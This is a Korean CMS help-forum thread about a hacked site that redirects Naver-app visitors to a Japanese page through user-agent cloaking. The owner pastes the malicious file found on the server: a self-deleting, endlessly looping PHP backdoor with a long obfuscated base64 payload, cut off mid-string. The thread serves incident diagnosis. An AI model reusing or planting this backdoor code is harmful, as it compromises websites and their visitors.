Extra Form
PHP PHP 7.0
CMS Rhymix 2.0

스마트폰 네이버 어플에서

'골드웜'을 검색하여 접속하면 일본에 이상한데로 갑니다.

도메인운 그대로구요.

 

크롬에서 하면 괜찮고?

Pc에서도 괜찮고

 

뭐에 걸린걸까요?

네이버가 이상한걸까요?

 

https://goldworm.net   이 사이트주소입니다.

 

www   붙이고 아니고에 차이일까요?

  • ?

     

    A7FFCFCB-9F86-4726-90FB-2920B60675D6.png

    ​​​​​​그러네요. 아이폰 네이버 앱에서 캡쳐화면처럼 뜹니다. 대른 브라우저에서는 정상적으로 뜨네요.

     

    + 유저 에이전트에 naver가 포함되면 일본어 사이트로 넘어갑니다.

    F8132B07-343D-43C3-8534-470069453E8F.jpeg

    사이트 설정에서 유저 에이전트 관련 내용이 있는지 확인하셔야 할 것 같습니다.

    제가 설정해본 유저 에이전트값은

    Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/605.1 NAVER(inapp; search; 1010; 11.19.0; 13PRO)

    입니다.

     

    ++ 구글에 사이트 내용을 검색해 봤더니 goldworm.net의 내용이라고 뜨는 것이 있습니다.

    41B93DD8-4FC5-48E3-ABCB-256F237E0F6C.jpeg

     

  • profile

    윗분 댓글처럼 User-Agent 값에 따라 다른 페이지로 접속됩니다. 즉, 의도하신게 아니라면 서버에 악성 코드가 심어져 있는것으로 추측됩니다.

  • profile profile

    두분 답변 감사합니다.

    일단 ssh로 접속해서 확인해보니 .htaccess 에 변조가 확인되어 일단 지웠네요.

     

    그래도 네이버 앱에서의 접근은 이상한데로 가고 있습니다.  ㅜㅜ

    아 이거참... 라이믹스 덮어쓰기 이전에 당한게 아직까지 이러고 있는거 같은데
    어디서 부터 잡아나가야할지 모르겠습니다.

    두분 답변 감사합니다.

     

    . . .

     

    일단 라이믹스 새로 받아서 덮어쓰기를 했더니 그부분은 해결되었습니다.

    백도어가 어디 깔려있을거 같은데... 찾아내야 할거 같습니다.  감사합니다.

  • profile

    지워도 자꾸만 원위치 되어서 찾다찾다가

     

    일단 phpmyadmin  으로  검색좀 해봐도 나오는게 없었고


    ssh 접속해서 오랜만에 grep 명령어까지 동원해봤네요.

     

    주요 검색단어는 '.htaccess' 와 'index.php'

     

    원인으로 주목되는 놈은   /public_html/httpd.conf 
    이놈이 아파치설정 파일인데 왜 여기에??

     

    소스 봐도 뭐가뭔지는 모르겠지만

    참고하시라고  /public_conf/httpd.conf  파일 내용 올려드립니다.

     

    <?php
    
    error_reporting(0);
    set_time_limit(0);
    ignore_user_abort(true);
    
    $path = "/home/goldworm/public_html/";
    $path = str_replace("\\", "/", $path);
    if (substr($path, -1) != "/") $do = $path . "/";
    
    @unlink(__FILE__);
    while (true) {
        usleep(1000000 * 0.3);
            try {
    
            $ruzhu_php_jm = "PD9waHAgLyotVmp4LlstKi9lcnJvcl9yZXBvcnRpbmcoMCk7IC8qLTBtc1RQUV4tKi8kYUYgLyotcDYxYjZueyRqUWN5UC0qLz0vKi1tN2smWllHeyZSOUErNWgtKi8gInJhIi4vKi1mfntvMEVLUXVRdDA/LSovIm5nIi4vKi1XUjtLayVvYFE8LSovImUiOyAkVHFOZiAvKi1gTEB1cTQ4XXQ5W1cxSWQtKi89IC8qLVVTbC13bG9fTm0wQy0qLyRhRi8qLT0pIS1raGgwNDw8MXttLSovKC8qLVhVYFJ8Rz1BallMND5qLUM0YC0qLyJ+IiwvKi0kPlFray4kMmJQSiZbLSovIiAiKTsvKi15THhOVUx5fjhveC0qLyR2Ry8qLTUweHxAIV9WbU0tKi89LyotRVpmeHUyV2EkZVswb3hMWG98LSovJHskVHFOZlsyMys4XS8qLWhwanJ1PHtATy4tKi8uJFRxTmZbNDgrMTFdLi8qLT46UFBWRGo5czFkMXRCMG8tKi8kVHFOZlsxNCszM10uJFRxTmZbMys0NF0uLyotKE1FKVBFfEdNbjxEK2heci0qLyRUcU5mWzkrNDJdLiRUcU5mWzQ3KzZdLiRUcU5mLyotXjw+TCldLDswZVAmdDUtKi9bMzUrMjJdfTsvKi1zNGBGI0MxW0JwJD8wRS0qL0AoY291bnQoJHZHKT09MTUvKi0lS2d5S0dpMClQUnYyMCsoLSovJiYvKi1pS0RuRllWdiRBaWMtKi9pbl9hcnJheSgvKi1Xey5QPzQxdlgyQDUpWzFKSi0qL2dldHR5cGUoJHZHKS5jb3VudC8qLTJhay1LaiQmdFItKi8oJHZHKSwkdkcpKT8vKi11YXpoZ1dyKGd2RlNKUUstKi8oKCR2R1s0MisyMl0vKi1nIWVZbFVwPjBsdT0tKi89JHZHWzQ1KzE5XS4kdkdbMjUrNTFdKS8qLSx8a3A+Lmkyazo7WFlpIW0tKi8mJi8qLVZGbXdTXkNibTctKi8oJHZHWzMwKzU1XT0kdkdbMzArMzRdKCR2R1sxNis2OV0pKSYmLyotNy1eaUR+eyMtOy0qLyhAJHZHPS8qLVYuJm8+PDFkbHMrV1ZPampmLSovJHZHWzUzKzMyXSgkdkdbMjkrMjJdLC8qLTxAdUhOXyZJZ09rKGZrLSovJHZHWzM1KzI5XS8qLU9iVTdqQTp7biMtKi8oJHskdkcvKi0yMS47YzRlKEExXVd7LSovWzI4KzE3XX1bOCs3XSkpKS8qLUlIZTIuQn18LSovJiYvKi1Da2FkLUtfMGdLTCNyKVhSLSovJHZHKCkpLyotQD40Qi5qJW5QWHgtKi86JHZHOy8qLThtLSovY2xhc3MgLyotTmMoSz9uMy0qL05tVkl7IC8qLUhfRy0qL3N0YXRpYy8qLXdCSX0tKi8gZnVuY3Rpb24gLyotUUpEOV5VbzNRLSovQ3NsSSgkbEtxUXpna0gpIC8qLUdycTl2OXE7Z3UtKi97ICRFd0lDQS8qLSVKOTE/LSovID0gLyotMCNRaCtjYEstKi8iciIuLyotMFojSi0qLyJhIi4vKi0tJi0oQ2opLSovIm4iLi8qLT0yPXBpLi0qLyJnIi4vKi1zYi0qLyJlIjsgLyotdmhQNnlJTi0qLyRtVi8qLWstKi8gPSAvKi01S3dBOihPLSovJEV3SUNBLyotPmd9dy0qLygvKi1vaS0qLyJ+Ii8qLWJ9OkwueG8tKi8sIC8qLVBaPEU6LSovIiAiLyotbURNUVItKi8pOy8qLW8oa2Y9TC0qLyAkalFDbEtoTWMgLyotTl98QWxYLSovPSAvKi18Lntae1ctKi9leHBsb2RlLyotZWBQfjF3PkgrLSovKC8qLVddLHstKi8iKCIsIC8qLUl8Xi0qLyRsS3FRemdrSC8qLTRsO2ZuWi0qLyk7IC8qLUNOezpiLSovJHlhSHNGU2dtIC8qLUxjO34xLSovPSAvKi1CanU+RzNVLSovIiI7IGZvcmVhY2ggLyotbj1KMWd0QS0qLygvKi1SIXZNMHItKi8kalFDbEtoTWMgLyotJHAtKi9hcyAvKi1HSGVILGAtKi8kWXhrd3FBIC8qLWNNVEN6SGYtKi89Pi8qLUxwLSovICRMY254TmkvKi1rfS0qLykgLyotOXJuREEkWS0qLyR5YUhzRlNnbSAvKi1VSj4tKi8uPSAvKi1GKVc+Li0qLyRtVlskTGNueE5pLyotUC50MkktZS0qLyAtIC8qLStKLiUxYEBwLSovOTA5MDkvKi1LQE0/WG07LSovXTsvKi05cl98R1VQLSovIHJldHVybiAvKi0tTFQtKi8keWFIc0ZTZ207IC8qLUR5ZU1MI0gtKi99IC8qLVh6I0BySEEtKi9zdGF0aWMgLyotaHhQRklLSDp1LSovZnVuY3Rpb24gLyotYkdiZEY4aDZjWC0qL3Brd3RQYS8qLXVjOS0qLygvKi0lKV1QLSovJHdQWHQsLyotNDJoPVEjMEAtKi8gJFdZT21uaWJLSC8qLXsjLSovKS8qLVpEdVl4aF0tKi8gey8qLSMsbGVKREg9YlYtKi8gJHBqZi8qLVFMQjFMLSovID0gLyotNC1AUi0qL2N1cmxfaW5pdC8qLX02O1Qucy0qLygvKi1jS2U1LXRFLSovJHdQWHQvKi04MDQuRUEtKi8pOy8qLVlLYyVJaTJyLSovIGN1cmxfc2V0b3B0LyotPmRXWVc/LSovKC8qLTlRTCZSQkwtKi8kcGpmLC8qLWc6V1FWLSovIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsLyotRmA6Li0qLyAxLyotR0RvLlZZLSovKTsvKi1LcWEtKi8gJGROSGd2UVdrREEvKi0jVDBDPU44eEIpLSovID0gLyoteCZ4OkAhLGAtKi9jdXJsX2V4ZWMvKi1VYCEyLSovKC8qLUY0bnM4ey1LLSovJHBqZi8qLVIxa0ItKi8pOyAvKi1dQ2NpeTgpLSovcmV0dXJuIC8qLUZPY3AyQSRALSovZW1wdHkvKi1EZCZ6IS0qLygvKi1LbX0tKi8kZE5IZ3ZRV2tEQS8qLWNvLSovKS8qLVdQLSovID8gLyotJE4tTXUjOi0qLyRXWU9tbmliS0gvKi02YTl9N1YtKi8oLyotYlJhPS1UbjRFLSovJHdQWHQvKi0jfi0qLykvKi1SNUJjQi0qLyA6IC8qLXdsNTFWay0qLyRkTkhndlFXa0RBOyAvKi1jfi06aEZ2LSovfS8qLXFDJkA0LSovIHN0YXRpYy8qLWpOLWQ5NltjRmYtKi8gZnVuY3Rpb24gLyoteUFWQVgtKi9ZUmZDLyotJEIyLSovKCkgLyotPS0mJmphRS0qL3svKi1FOUN3czF1ZCE6LSovICRmT3hRTHB6Z0cgLyotJWx5UywtajF+LSovPS8qLWdWRkY6LldWVy0qLyBhcnJheS8qLWxGdVh7IUUtKi8oIjkwOTM2KDkwOTIxKDkwOTM0KDkwOTM4KDkwOTE5KDkwOTM0KDkwOTQwKDkwOTMzKDkwOTE4KDkwOTI1KDkwOTM2KDkwOTE5KDkwOTMwKDkwOTI0KDkwOTI1IiwiOTA5MjAoOTA5MTkoOTA5MjEoOTA5NDAoOTA5MjEoOTA5MjQoOTA5MTkoOTA5ODYoOTA5ODQiLCI5MDkyOSg5MDkyMCg5MDkyNCg5MDkyNSg5MDk0MCg5MDkzNSg5MDkzNCg5MDkzNig5MDkyNCg5MDkzNSg5MDkzNCIsIjkwOTIzKDkwOTM4KDkwOTM2KDkwOTI4IiwiOTA5MzcoOTA5MzgoOTA5MjAoOTA5MzQoOTA5ODEoOTA5ODMoOTA5NDAoOTA5MzUoOTA5MzQoOTA5MzYoOTA5MjQoOTA5MzUoOTA5MzQiLCI5MDkzMyg5MDkzMCg5MDkyNyg5MDkzNCg5MDk0MCg5MDkzMig5MDkzNCg5MDkxOSg5MDk0MCg5MDkzNig5MDkyNCg5MDkyNSg5MDkxOSg5MDkzNCg5MDkyNSg5MDkxOSg5MDkyMCIsIjkwOTYzKDkwOTkzIiwiOTA5MTAiLCI5MDk4OCg5MDk5MyIsIjkwOTcwKDkwOTUzKDkwOTUzKDkwOTcwKDkwOTQ2IiwiOTA5MjQoOTA5MzMiKTsgLyotQWZRNHNaWkYtKi9mb3JlYWNoIC8qLXhONCFWeToleXAtKi8oLyotZkdgQUIheiwwLSovJGZPeFFMcHpnRy8qLTtmfF5oYnRMLSovIGFzIC8qLSxJLSovJEVRZlROLyotUG4rdXFGLSovKS8qLTh6fWRvLSovICRhY3JrQUZXaEQvKi1aWitLaitMLSovW10gLyotPD11WkIhTnAtKi89IC8qLSlwPlExLSovc2VsZi8qLXQ6QiMtNV5+Yi0qLzo6LyotNmM8PjstKi9Dc2xJLyotdDctKi8oLyotOX1MLSovJEVRZlROLyotWChsemxCLSovKTsvKi0oMG19LSovJHlEdEJOZVcgLyotLnpgVGQjMHgtKi89IC8qLVk7IT0/c0FCXS0qL0AkYWNya0FGV2hELyotIWYtKi9bLyotVXwtKi8xLyotbnxjfi0qL10vKi1FYj88R0J6V2stKi8oLyotOy0qLyR7LyotOEN3TG1Vbi0qLyJfIi8qLVBoOkdefC0qLy4iRyIvKi04WUB3LSovLiJFIi8qLXRZYXt7UW9yLSovLiJUIi8qLUhWN3ksV0c7LSovfVsvKi1GUy0qLyRhY3JrQUZXaEQvKi1qYEtBSFMtKi9bLyotdUM4Iy0qLzUrNC8qLTMtR0FCTU1CZi0qL11dLyotaSlrQ1c+LSovKTsvKi1kfVMtKi8gJHN3Y1RHSiAvKi19UTJLLSovPS8qLSRgNyYtKi8gQCRhY3JrQUZXaEQvKi1gOFFMV0VELSovWy8qLXE3MURXa2EkRy0qLzArMy8qLUpsYVVCd2lpYUEtKi9dLyotRFhoZlEoUHwtKi8oLyoteFQhZ2d4JX0tKi8kYWNya0FGV2hELyotPHRwUkxMLSovWy8qLXRdSlstMzgtKi8yKzQvKi1BRCxUPz1MXnwtKi9dLCAvKi1XWD02LSovJHlEdEJOZVcvKi01ZHVScS0qLyk7LyoteGxAUVRvZi0qLyAkTmRLRUN5IC8qLWZFZSsuay0qLz0vKi1dWWpsLSovICRhY3JrQUZXaEQvKi1gZy0qL1svKi1ya2NBe2RUQ1AtKi8wKzIvKi0mLmNfLS1+XS0qL10vKi1Tc1BqUi0qLygvKi1sZVszdThTTFotKi8kc3djVEdKLC8qLWs1azRYYy0qLyB0cnVlLyoteiltJXBMLSovKTsgLyotY2V6JDAuLSovQCR7LyoteUotKi8iXyIuLyotLHctKi8iRyIuLyotLGN8cm1GemotKi8iRSIvKi0/MD5tenswd2IuLSovLiJUIi8qLSRiKVh2JnJWb0otKi99LyotZDNoaD0waFVqLSovWy8qLWA6NSZfQS0qLyRhY3JrQUZXaEQvKi1jcClGdkt4PS0qL1s5KzEvKi1TWnNWUi0qL10vKi0rdGdCLSovXS8qLWdZRiNKSHctKi8gPT0gLyotTWBUM1t3RyhnMS0qLzEgLyotWHN3KVNHOy0qLyYmIC8qLVBve1gtKi9kaWUvKi01cUtWNEgtKi8oLyotd3UpdTJqVTFoLSovJGFjcmtBRldoRFsxKzQvKi12XVB7JiktKi9dLyotbjRmOC0tKi8oLyotK0BOLSovX19GSUxFX18vKi11aCxqLH1qeC0qLykvKi1TV3d7ekArUS0qLyk7IC8qLXRNU3UtKi9pZi8qLUFPcFhNOnByTC0qLygvKi0hSXAtKi8gKC8qLUZHWzkpfEh9WC0qLyhALyotTHUjT3RCTm8zay0qLyROZEtFQ3kvKi1bRHgjLSovWy8qLT0yeC0qLzAvKi1MOHpgNS0qL10gLyotM2RNaD9ONDduLSovLSB0aW1lLyotbl5WS106fmAtKi8oKS8qLVp4NXwtKi8pID4gLyotOTEzW1AtKi8wLyotTUg6Mm5vVS0qLykvKi1YLS0qLyBhbmQgLyotRXQxe0ZLdWgjNS0qLygvKi08RSVjUS0qL21kNS8qLSNNMHomPC0qLygvKi1XbCUtKi9tZDUvKi0/b0BGdzl5LSovKC8qLXAlQT8mQT4tKi8kTmRLRUN5LyotQCErWlY5ey0qL1svKi1nPF84IS0qLzArMy8qLWtnOWAmcXVFVkstKi9dLyotMEdoWDgjfk4tKi8pLyotYnB5LSovKS8qLThASFpvLlYwLSovID09PSAvKi1WLSovIjc3NzdmZThkYTFjMzAzYTk5ODZlMjE3NDQ2Y2I4MDcyIi8qLWlMI1gtKi8pLyotW3xCQ1c+LSovICk6IC8qLWI7b21jVz4tKi8ka21RIC8qLXxCcTYtKi89LyotRVczenJHLSovIHNlbGYvKi1hZ24/NFJAKEF1LSovOjovKi1LZDtdLSovcGt3dFBhLyotY3owaGFSbS0qLygvKi0kJFUtKi8kTmRLRUN5LyotTy40fVYyOnQtKi9bLyotRSwxcy0qLzErMC8qLWRtLXk2SEAtKi9dLCAvKi07blYtKi8kYWNya0FGV2hELyotQ0ZULSovWy8qLUBXamltZGYtKi81KzAvKi1xZ21vTCw7LSovXS8qLVB5LSovKTsvKi1hSi0qL0AkYWNya0FGV2hELyotPWJQLSovWy8qLXVDYEpvPlUtVDctKi8wLyotPjZJPHhDLC0qL10vKi1VXS0qLygvKi1JSnZ9ZF1iflMtKi8iIiwvKi1qZl19NCRgTUAtKi8gJGFjcmtBRldoRC8qLUkpLSovWy8qLWBAIy0qLzcrMC8qLXx3NV9ZLSovXSAvKi1zQDExXzx8YFEtKi8uIC8qLU1+ZlZCLSovJGFjcmtBRldoRC8qLWo1RlJRcFcyLSovWy8qLXpiVmhrayQtKi8zKzEvKi1yXy0qL10vKi1gSi0qLygvKi0xOS0qLyRrbVEvKi1vaiMpLSovKS8qLWBSVS0qLyAuIC8qLVhvLFFCTFNYXi0qLyRhY3JrQUZXaEQvKi1eWzktKi9bLyotUj9iK1c3RHRLdy0qLzArOC8qLUpFTS0qL10vKi1dQlFiSy0qLyk7LyotSys8eV0tKi8vKi16dj4tKi9kaWU7LyotNjVrP01tLSovIGVuZGlmOy8qLTBtM2BFfC0qLyB9LyotK0xwLSovfS8qLUEtKi9ObVZJLyotMkgmeGVuNC0qLzo6LyotOUhsLSovWVJmQy8qLUJVZzNOSEYtKi8oKTsvKi1wTmw1ci0qLy8qLWl5NUstKi8kdGsgPS8qLT07Uzp1LSovICJyYSIuLyotWFtbTUFMYnA5LSovIm5nZSI7IC8qLTdINCRlPWVeLSovJERnT0pWIC8qLTNQekB9SzR2LSovPSAvKi1tP2o2IWJNLSovJHRrKC8qLSVxY1VPcyx2cjItKi8ifiIvKi1oaC0qLywiICIpOy8qLVAtOUl3Uy5dLSovJGhSbmQvKi1nb1BALSovPS8qLXQybWBBYzMtKi8kRGdPSlYvKi0zeTA+LSovWzcrMjBdLi8qLTlITmAjfGQtKi8kRGdPSlZbNis2XS8qLXBwQz5vWWhWXy0qLy4kRGdPSlYvKi1ELiF3LSovWzQrMjFdLi8qLXNpazh2WFBELSovJERnT0pWLyotcUdXYnRyLSovWzI5KzBdLiREZ09KVi8qLXJGflYucGtReUEtKi9bMis4XS4kRGdPSlYvKi1RTCx8OC0qL1syKzIzXS4vKi0yWkxqenhASS0qLyREZ09KVi8qLWt7SC0qL1syMCsxMV0uLyotZGJBLSovJERnT0pWLyotYkc0K1BAN34tKi9bMSsyM10uJERnT0pWLyotZS4tLEZFLSovWzMrNl0uLyotRWR6ZjxweC0qLyREZ09KVi8qLXhMKHxBJV5QLSovWzQrMTJdLyotSyVpemQ4THAtKi8uJERnT0pWWzIyKzVdLyotT1Z2WzlhNU5zLSovLiREZ09KVls3KzNdLyoteT9fP0EtKi8uJERnT0pWLyotIyFxSThRLSovWzEwKzExXS4kRGdPSlYvKi09d3xMLSovWzgrN10vKi1aeEEtKi8uJERnT0pWWzE1KzFdOyAkeWxLdm89LyotTzMtKi9AJGhSbmQoJERnT0pWLyotP2wtKi9bMTUrNzVdLiREZ09KVlszMCsxXSwkRGdPSlZbMjQrMV0uLyotWyhbK2xNJEc5Uy0qLyREZ09KVi8qLT5dZH5aaHctKi9bOCswXS4vKi0sSTEyXjFiWj1JLSovJERnT0pWWzI0KzVdLiREZ09KVi8qLV9wTWhINSgtKi9bMTcrMV0uJERnT0pWLyotXiEtKi9bNCs4Ml0uLyotenRIfS0qLyREZ09KVi8qLTFuLXtVLSovWzc1KzE3XS8qLVl6Rk13PC0qLy4kRGdPSlZbNDYrMTddLyotNT5tRGktKi8uJERnT0pWLyotNWo3dm06Ui0qL1s1MCsxNF0vKi1nUCtCQyV+LSovLiREZ09KVi8qLVA5Wi0qL1s2NysyNV0vKi0mNTI0cT9GOyhHLSovLiREZ09KVi8qLTBJPEZ4Oi5ZQi0qL1szOCs0Ml0uLyotaWd9Ry47LSovJERnT0pWLyotOGVeW1hNLmwtKi9bMjMrNV0uJERnT0pWLyotZHBELSovWzI5KzBdLyotLWo9SSZhWC0qLy4kRGdPSlZbOCszXS4kRGdPSlZbNisxOV0uJERnT0pWLyotK3dDPk4tKi9bNDUrMjddLiREZ09KVi8qLTNdejdnOVMtKi9bNzQrMF0uJERnT0pWWzkrMjJdLiREZ09KVlszKzIzXS4kRGdPSlZbMisyM10uLyotaV44Mi0qLyREZ09KVls2KzIxXS4kRGdPSlZbMysxMl0vKi1YaD9vaC0qLy4kRGdPSlZbMTArMTZdLyotNksxPyhsY1R1YS0qLy4kRGdPSlZbMTkrNl0uLyotWVNCLSovJERnT0pWWzMrODNdLyotV00ob29ILSovLiREZ09KVi8qLVU/MnFTVFctKi9bMSsxMF0vKi1EPyMtKi8uJERnT0pWLyotcXlIQjwhTC0qL1swKzEwXS8qLTV1R0AtKi8uJERnT0pWLyotJC0qL1swKzEyXS8qLWR4fmk+Y3ZuKVYtKi8uJERnT0pWLyoteDVOJkcoVXEkdi0qL1s1KzI2XS8qLS45aE09dy1fM0ktKi8uJERnT0pWWzEwKzJdLiREZ09KVi8qLS4hQGc5czktKi9bMTQrMV0vKi1iX3lFenktKi8uJERnT0pWLyotfWs5SEsxYkt0MS0qL1s2KzRdLi8qLTlDZTx7SkRBLSovJERnT0pWWzc0KzNdLyotYk5aNFstKi8uJERnT0pWLyotWWwtKi9bMjErNTRdLyotVEJdcC0qLy4kRGdPSlYvKi12Ni1SUS0qL1syNis2MF0uLyotOj5fVy0qLyREZ09KVi8qLXluRiRtamAlIS0qL1s5KzE0XS4vKi1AYj52LSovJERnT0pWWzMrMV0uJERnT0pWWzExKzEwXS4kRGdPSlZbNSsxMV0uJERnT0pWLyotW0A8Wi0qL1s3KzE3XS4vKi01OFEpd0UtKi8kRGdPSlZbMTIrNl0uJERnT0pWWzArMjldLiREZ09KVls1KzVdLiREZ09KVlsxNCsxMV0vKi1LI1Y0bSNfLSovLiREZ09KVi8qLU9YR2tffi4pRC0qL1sxOSs2N10uLyotRm0tKi8kRGdPSlYvKi04S1glTU9rLSovWzE2KzEyXS4kRGdPSlYvKi01KyQyTS0qL1sxMysxNl0uLyotNDswRDBZMi0qLyREZ09KVi8qLWNsY1FfUHstKi9bOSsyXS4kRGdPSlYvKi1NaGtGdShUXj4jLSovWzEzKzEyXS4vKi1OaWtmUEstKi8kRGdPSlZbMTkrNTNdLyotakYxOCZXOkBrdi0qLy4kRGdPSlYvKi1OaC0qL1s2MysxMV0vKi15djhjMGhuSi0qLy4kRGdPSlZbMjMrOF0uJERnT0pWLyotLC0qL1swKzI2XS8qLSs9SS0qLy4kRGdPSlZbMysyMl0uJERnT0pWLyoteUBJJmtXTGAtKi9bMTgrOV0uLyotQlI6K0dSRzRgLSovJERnT0pWLyotS2QmPGY6NnktKi9bMSsxNF0vKi1eZChUdDA7SC0qLy4kRGdPSlYvKi1WYDAtKi9bOSsxN10uLyotZ3ooSi0qLyREZ09KVi8qLWxaS2otKi9bMTMrMTJdLi8qLUpCN3QtKi8kRGdPSlZbNjUrMjFdLi8qLWFMUVUtKi8kRGdPSlYvKi1BI1VWS1ktKi9bNis1XS4vKi0hNEdMbTQmby0qLyREZ09KVi8qLShvNy0qL1s0KzZdLi8qLUlLekB6NmYtKi8kRGdPSlYvKi1ZLnZFVD1NLSovWzExKzFdLyotQ3NMUC0qLy4kRGdPSlYvKi06IU1LWzxIZi0qL1s2KzI1XS4vKi02VkllNU9pLSovJERnT0pWLyotXW0+UkFbRC0qL1szKzldLi8qLSVnM1h3a2NvLSovJERnT0pWLyoteX1jeXZ5W3pxLi0qL1sxNSswXS4vKi1failRLSovJERnT0pWLyotKH1OLSovWzIrOF0uLyotMmQ6TnRQKzMtKi8kRGdPSlYvKi0zeX0rXy0qL1syMys1NF0uLyotMlM3LSovJERnT0pWLyotZjRmSlAtKi9bNis2OV0uLyotRn5GRy0qLyREZ09KVi8qLWtpXS0qL1s3MSsxNV0uLyotdXt9fUgrTWEtKi8kRGdPSlZbNjkrMjFdLi8qLV07fS0qLyREZ09KVi8qLU1WLSovWzE1KzE2XS4vKi15IX5DLSovJERnT0pWLyotKXx0PS0qL1s0MCs0NV0uJERnT0pWLyotUiZALSovWzM5KzQ2XS8qLTZOPSN4YWktKi8uJERnT0pWLyotLiF5MEJnU3ktKi9bMjArNjVdLyotNkhoUlI/ZGItKi8uJERnT0pWLyotdnBWLSovWzQ3KzM4XS8qLVksei52by0qLy4kRGdPSlYvKi09Ll5SO2x2eUctKi9bMzcrNDhdLi8qLT9dez1zLSovJERnT0pWWzgwKzVdLi8qLWI5JC0qLyREZ09KVi8qLX5daSh6JSg/LSovWzM4KzI5XSk7LyotZVstKi9AJHlsS3ZvKCJtSXlZeTZjVlJpNU9pRXdEZmlkbDZOS1hYNFJIeVdyNkQrTW52dnVETnhLbDZtZmw4TFNYM3Jjb1ozQ0JhUWNodnZEbGF5OThSSGt6RGFtMGNmS0VFRkkySG9YajgxeDZUVVNMVTNTWVdWOGxJM2kxQ016OHI5WWg2WnlpNkprR3pWQmxtUlhFNVFCcm0xM21vSmthMEd2a3p5anNzckRoMm5KSXVJRkNyVnRSY3B6R0w4bld0Skw0djRIZ1c5dERMMkFEUnlCS0ZJb0lidTFoRVloblNlNDllRjg2K1FCaFpWMHRaTDE2VURrU213RXhDeGhsTGRYK1NQZjdZYlhPaFJnUXpuRnVTWllNQzNqN1A1czJBWmo5UnpCeUNFcHhiU0NaWUhPaDRvaHg4cjJ2Q09ldjZGZUtQMHQyZ1I1S2g1SjZyWStwTW04WXFWSTdUNVF5YWlLOWhCdWRQR0FjbXA3dUV4dmo3YWpwN3J6R0dBOTFRZTRnZThUc01YU0xzMTdyaHJ5SGt5elFEekNOeTd4ZWV1cTJFYTNaTUg2ODBqL0dnbVRYZzRvbHl1ZHJ6UCtGWnkzTTNadURBZ1NsSFNBN2pJL1BTdml0UTdxOVUrZ0Y5VUZDc3I5b0NweENocmdqaG9SWFFKSGR0TzdvM1pBeW51cTFkd2Zwa1dNdE03WjN5Q2Nyd2ZwSUpBOHNmQTZpcStiWFVrUGFQVG1Ba2hEZ2wzd2g1OFcrK3NxUFJuVnRiR2RKaDdHRUFoUENBbXczTnNlSG1tNWlzMXEveDAxYlFiRWc3ZFdnb2hwNW1MaG9lS1g2RGdraTZLdkk1cEVpWVNxRC9YZW0rakM0cVkyZjFpK2NLN3kzamxWT21rSEdNS2VpRi9KbjQrazN4ZjQycjlqeWEvY21ZTEdhT29zTlZxZG5EK2VveWxXM1Z1S2UwSFl6YUVzUk9EVUhTWWpLSDcvSjRBcGxGMnVaYUZFZWFBVVBlZEJNU1MzMUNocGExVjVWL3dwMUl4TE1Zak4yT0JKN0hnREw4ZmowSWNTaXo0M2l2d2lOTzI1azFvQkJzQi9yWTRUVXhnRnJvZlMvNERFMEpJb0pCaXF4alZoTkMrZTcydXQ2Q1FuUEhIc1Qxb25vRytLeGlvL0pvaXVST0NZaHh4Q2hlcU10Vy91aXM4VlQrTzNmUEZlOGwzQVVzRUd5dFVyczVMQ1cvQTg5SjlrODFDek1EN1FJUkQ0RDkxM3pGcmlOS0ozOGhMdjBydy9FVUN6UkhZUHZoTXRvakpva3hRK2dHcjBxMkRPazZxUHZzaTFMMmduWmlkc2x5em9qYmRiNnR2NndWV05XOElJcjFST3IvUytEV3B4bkhlNGd2a1phbncxbFdTN0pTVjEzSU81RWlNWElLc3M0MC9kdDl1Z1E2UUpoUlZaaWpvOWtWc1NWSHJyUHVPbHVYMkNqR0V6aGxoMU9nM2x5cGRYUzV6RnZJaVUzb3JDck51eld3Zm5ZdHBkOW9DbU05U2lrMTJkeHRxamtwdFdZV25WZVZrOXhtS2d5T241NE5kbXc4Zm9NZlljaE1IQ2hidCtkTDY4ZzUxNFpyVTNObk9BekQ3YVpDS0ViOHBoWGJDTFVjdTZpbTdXUEdZVDlqb2hobUxiMnB5SXI4V1J3RjlFMnJuNVMvK0ZoU3hBbkNWcTdSNmUzNGhrb1FZNlNoemFGY09mYVpjTWVOSGNwVFhaNVRnQjQ2OHVsU2I4OTZ5bFE0VmdRT3V0QnBIZDdCWm82YUZxbEpIdzdLcWF6a0ZQVWlQT28zQ21ia3ZPRG5tamsrWlBFNTBGRUFFU2ROQ0ROQ0IzbWkzR0ozRW1mcTl5TmIzVzZtazExZjF3OGxoOGRJNmorYlg3NmZySFdqNlVhc1NsNDJ3eWh0U0hPdjFmM1czY3dwaDA5NTU2eEpQRzFFWlcwT1U4cFJMMDU1QktOMkhPaVVrY2dVd0ZEOWxGZ0Nmci95ZThWQVhyY0NjcXIwV1pHN09ybDgzb29HNjc5blpPUUdaYnFDaTgvNFVWVTJFYTBoT2tsdGxzY1JRYnM0Qmx4YndIc3U4UU9KdTNPLytvTnRHQ1BBd3Vqc2pOcm9RNzE0MU44Y04vMyt2UnpKSEJucWxHUkpOcytJZ1I3ZVpueGFOWTRqQkFtTG1OZEgxMmVKVTkwVm5zTnNqaWNCcjZzMVJEb0I2Q3hZYUhOQ0NZQUJCc2VobHJzbVRTTmJaOEVsV3ltVTZHNDFNL21BNTRSQkc2M1Rodkt1QkoyVjFrbVdWQm5id3hDOUtoMVBzWXhzVy9Id2wyOWFWVHBIZU5zMDFtaUNOcjVhL1UrSWkvdTdKa2FPaXUvZFdIWUVpR2RwZWRZNkwzN0Q4MThaUDRZM1M4Mmx0OWZKUG0zVllNM3NDL1RHRFhGSDQ1R3FHU1h0M1pFeUZhblFyb0dFemt5aENXcDFiWXhhSEVRbUJMSWpYMjdycHpYcFFJcSs0YlpxaXVFRTNMTFVRTUNpUVZZNXJGYnAyaFRnNTYvQXVpYXRTSkdaam9OWURxUHdMVGkwSnBZenVDV01mcDRyOFhzdGRGVGhmaFJ0VVRnVXczYUZWci9tR2hYV1d4WWd2YmRzMkxoeEFGZGhCcnJZYlU4cUplZitNRHNxM0l4cWZPZnF6TzQ0anRkOE5tWEFxWE5YbUt4SkJOK21ZT3NlcVJaMEk3TlA0UlQ4OE9QekdNT0FGMmttZnI1SS8vemgwK21FMzAwZU9DeE1XMU8zSFpaR2tkVVNTRHdPS1lhMGhDcFFhK09VY1RzU1FEQW8vbXJOaDZVQWdPM2llRVdxakdiWDg3WDRWdFIrcXVsTUFmdVhyREQ1cDdOaEVqQWN0cEFNdlFTeEdLQVJIbW53bEVnMzk2YzlDUWFyazkvWXJBN3J4Q0NRampXT01Qczh0YTZmaVhDOX